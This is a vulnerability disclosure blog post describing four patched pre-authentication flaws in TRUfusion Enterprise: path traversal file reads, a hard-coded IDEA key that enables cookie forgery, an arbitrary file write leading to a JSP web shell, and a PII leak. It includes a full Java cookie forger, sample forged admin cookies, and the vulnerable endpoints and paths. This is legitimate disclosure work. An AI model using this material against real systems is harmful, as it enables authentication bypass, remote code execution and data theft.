In early 2025, we encountered a mission-critical software component called TRUfusion Enterprise on the perimeter of one of our customers that is used to transfer highly sensitive data. Since Rocket Software claims that they are undergoing regular audits and also follow secure coding guidelines, we didn’t expect to find much but to our surprise, it took us just two minutes to discover the first totally unsophisticated, but critical pre-auth path traversal vulnerability that already gave us admin rights. What followed next were so many more exploitable vulnerabilities that should have been caught by the vendor’s security standards. All of them are trivial to exploit and don’t need any authentication at all:
- CVE-2025-27222: Pre-Auth Path Traversal Allowing to Leak Local server files disclosing sensitive clear-text passwords
- CVE-2025-27223: Hard-Coded Cryptographic key allowing to forge session cookies that can be used to entirely bypass authentication
- CVE-2025-27224: Pre-Auth Path Traversal and arbitrary file write allowing to remotely execute commands
- CVE-2025-27225: Pre-Auth sensitive information disclosure of PII (partner and contact names)
As of today, the vendor released updates for all affected TRUfusion Enterprise versions to address the vulnerabilities. Review our official security advisories for the version details.
CVE-2025-27222: Path Traversal FTW Part 1
That’s probably one of the easiest bugs of all and must have been caught by any auditor. We’ve opened the starting page of TRUfusion Enterprise, and immediately spotted a request against the endpoint at /trufusionPortal/getCobrandingData. That endpoint is intended to just return some sort of image for the landing page. However, you could simply add path traversal sequences to the cobrandingImageName parameter, which can then be used to traverse through the local file system and read out any file readable by the web server’s user. The file’s contents are then returned in base64 encoding. On this way, it was possible to i.e. read out the Apache server’s access logs:
While reviewing the Apache access logs, we noticed that TRUfusion seems to have plenty of endpoints that accept authentication tokens via GET parameters. While we always recommend customers not to transfer authentication tokens via GET parameters because it always gets stored in log files, this specific case proved that it can lead to a critical security vulnerability. In this case, we could simply use the AuthenticationToken at the main /portalhome/ endpoint, and it granted us full administrative access to the UI.
CVE-2025-27223: Let’s Bake Some Fresh Cookies!
This is actually a bug class that we do not encounter regularly nowadays, just because most applications rely on cryptographically secure libraries to generate session IDs. However, it turns out that TRUfusion Enterprise does things differently. TRUfusion uses two cookies called COOKIEID and ADMINCOOKIEID. To generate these, TRUfusion uses the hardcoded static IDEA key 1234567890123456 to encrypt the authentication cookie. While this is interesting enough, they only encrypt the user’s (numeric) ID to create the session cookies, which means that the same COOKIEID is reusable across all TRUfusion instances.
Here’s a small Java application that can be used to encrypt and decrypt session cookies for any user ID:
import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;
public class App {
private String ideaKey = "1234567890123456";
public String encode(char[] plainArray) {
return encode(new String(plainArray));
}
public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) {
e.printStackTrace();
return null;
}
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt
.getInputBlockSize(); currentPad++) {
plain = plain + " ";
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted);
}
public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) {
e.printStackTrace();
return null;
}
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
String str1;
try {
str1 = new String(decrypted, "ISO_8859-1");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
return null;
}
String res = str1.trim();
return res;
}
public void setKey(String key) {
this.ideaKey = key;
}
public static void main(String[] args) {
if (args.length >= 1 && args.length <= 2) {
try {
App chiffre = new App();
if (args.length == 2 && args[1].equalsIgnoreCase("decode")) {
String decrypted = chiffre.decode(args[0]);
System.out.println(decrypted);
} else {
String encrypted = chiffre.encode(args[0]);
System.out.println(encrypted);
}
return;
} catch (Throwable t) {
t.printStackTrace();
return;
}
}
System.out.println("Usage: [encode|decode]");
}
}
So the authentication cookie for the user 1 is: FEF2DF1C36FFF2E3,
for user 2: 94A0D199D8B822AB etc.
CVE-2025-27224: Path Traversal FTW Part 2
Another endpoint, another pre-auth path traversal vulnerability, but this time in combination with an arbitrary file write. Jackpot. The endpoint at /trufusionPortal/fileupload is a typical file upload endpoint, where you’ll give it the file contents you want to write as GZIP’ed request body – kudos to the Hackvertor BurpSuite extension, which makes the exploitation trivially easy.
The exciting part is that it uses the token and file parameters to construct the path where the file will be saved on the remote file system. Paired with a path traversal within the token parameter allows writing any file with any content anywhere on the file system, where the web server user has access to. You can simply point it to TRUfusion’s web portal path at /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/:
Your fancy shell is afterwards accessible at /trufusionPortal/jsp/1~rcesec.jsp:
CVE-2025-27225: Massive PII Disclosure
Another easy to catch pre-auth vulnerability affects the endpoint at /trufusionPortal/jsp/internal_admin_contact_login.jsp. This endpoint returns a massive list of PII that contains all the partners that have access to the TRUfusion instance:
And their contacts:
Conclusion
In this blog post, we examined a software solution designed to transfer highly sensitive files: a product that its vendor claims undergoes regular internal and external audits and also follows secure coding guidelines. Ordinarily, these audits should make the discovery of vulnerabilities significantly more challenging, and in most cases, that assumption holds true. However, our findings indicate that in this case, the audits were at least ineffective.
Another major challenge we encountered was the vulnerability coordination process. Although the vendor operates an unpaid Vulnerability Disclosure Program (VDP), one might expect them to have a mature and well-defined process for handling security reports. Instead, as reflected in our advisory timelines, the coordination process was marked by repeated back-and-forth communication and several ignored messages.
This highlights a key takeaway: effective software security requires not just audits, but targeted penetration testing conducted by experienced professionals. At RCE Security, we prioritize delivering actionable zero-day research to help our customers mitigate risk, improve resilience, and stay ahead of evolving cyber threats.
